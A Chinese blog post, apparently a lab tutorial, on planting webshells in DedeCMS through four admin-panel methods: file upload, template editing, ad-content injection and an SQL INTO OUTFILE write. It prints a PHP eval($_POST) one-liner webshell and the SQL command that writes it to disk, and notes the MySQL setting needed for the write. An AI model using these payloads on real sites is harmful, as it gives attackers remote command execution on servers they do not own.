当前位置: 首页 > news >正文

常见cms漏洞之dedecms

        DedeCMS是织梦团队开发PHP 网站管理系统,它以简单、易用、高效为特色,组建出各种各样各具特色的网站,如地方门户、行业门户、政府及企事业站点等。

        下载地址请网上自行寻找

        搭建方式选择php study

首先搭建环境

#前台http://localhost/dedecms/index.php?upcache=1
#后台http://localhost/dedecms/dede/
admin123是我注册的用户名密码

方法一、通过文件管理器上传WebShell

登陆到后台点击【核心】--》 【文件式管理器】--》【文件上传】 将准备好的一句话代码上传....OK

<?php phpinfo();eval($_POST['cmd']);?>

访问 使用冰蝎吧

 

链接成功

方法二、直接修改模板拿WebShel..点击【模板】--》【默认模板管理】-->【index.htm】-->【修改】在文件修改中添加一句话代码

        点击【生成】--》【更新主页HTML】--》将主页位置修改为【./index.php】--》点击 【生成静态】--》点击 【更新主页】  再次访问站点首页可发现变化.….

链接成功

方法三、后台任意命令执行拿WebShell

        点击 【模块】--》「【广告管理】--》 【增加一个新广告】--》在【广告内容】 处添加一句话代码--》点击 【确定】

点击【代码】--》在图中显示的路径与站点进行拼接.…访问测试!

文件存在,尝试连接,一开始连不上,把代码中phpinfo去了,只剩下木马即可连接成功

方法四 sql命令行植入

位于系统-sql命令行工具-写入代码

select  "<?php phpinfo();@eval($_POST[cmd]);" into outfile "C:/phpstudy_pro/WWW/uploads/999.php" 

应该是访问即可,但博主的实验中文件没有生成成功,中午了,博主吃饭去了,如果下午想起来可以再试试

下午回来了,经过查验得知

mysql 里的my.ini中添加一行

secure_file_priv=''这样才能写入sql语句成功

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • linux安装weblogic
  • C基础练习(学生管理系统)
  • Golang | Leetcode Golang题解之第316题去除重复字母
  • Machine_Matrix打靶渗透【附代码】(权限提升)
  • 解决ubuntu 下 SSH无法连接的问题
  • YOLOv8由pt文件中读取模型信息
  • MongoDB 未授权访问漏洞
  • c# 逻辑运算符和条件运算符
  • Spring Boot 参数校验 Validation 使用
  • 反其道而行的SAP商业AI
  • Linux搭建SVN服务器
  • 无法启动此程序,因为计算机中丢失dll的多种解决方法,3分钟修复(dll修复工具详细教程)
  • react中的装饰器
  • FPGA开发——在Quartus中实现对IP核的PLL调用
  • ⌈ 传知代码 ⌋ 基于矩阵乘积态的生成模型
  • 【140天】尚学堂高淇Java300集视频精华笔记(86-87)
  • 【面试系列】之二:关于js原型
  • 8年软件测试工程师感悟——写给还在迷茫中的朋友
  • Asm.js的简单介绍
  • docker容器内的网络抓包
  • ES学习笔记(12)--Symbol
  • log4j2输出到kafka
  • Spring Security中异常上抛机制及对于转型处理的一些感悟
  • Unix命令
  • Webpack4 学习笔记 - 01:webpack的安装和简单配置
  • 阿里云Kubernetes容器服务上体验Knative
  • 仿天猫超市收藏抛物线动画工具库
  • 时间复杂度与空间复杂度分析
  • 学习使用ExpressJS 4.0中的新Router
  • 怎么将电脑中的声音录制成WAV格式
  • ​Kaggle X光肺炎检测比赛第二名方案解析 | CVPR 2020 Workshop
  • ​虚拟化系列介绍(十)
  • #QT(一种朴素的计算器实现方法)
  • #我与Java虚拟机的故事#连载10: 如何在阿里、腾讯、百度、及字节跳动等公司面试中脱颖而出...
  • (4.10~4.16)
  • (delphi11最新学习资料) Object Pascal 学习笔记---第5章第5节(delphi中的指针)
  • (五)MySQL的备份及恢复
  • (一)C语言之入门:使用Visual Studio Community 2022运行hello world
  • **CI中自动类加载的用法总结
  • .net core 控制台应用程序读取配置文件app.config
  • .net mvc 获取url中controller和action
  • .NET 漏洞分析 | 某ERP系统存在SQL注入
  • .NET 项目中发送电子邮件异步处理和错误机制的解决方案
  • .NET 中选择合适的文件打开模式(CreateNew, Create, Open, OpenOrCreate, Truncate, Append)
  • .Net 转战 Android 4.4 日常笔记(4)--按钮事件和国际化
  • .Net(C#)自定义WinForm控件之小结篇
  • .NET/C# 项目如何优雅地设置条件编译符号?
  • .Net程序帮助文档制作
  • .NET高级面试指南专题十一【 设计模式介绍,为什么要用设计模式】
  • .Net中ListT 泛型转成DataTable、DataSet
  • /bin/bash^M: bad interpreter: No such file ordirectory
  • [ IOS ] iOS-控制器View的创建和生命周期
  • [145] 二叉树的后序遍历 js
  • [2019.3.20]BZOJ4573 [Zjoi2016]大森林
  • [8-27]正则表达式、扩展表达式以及相关实战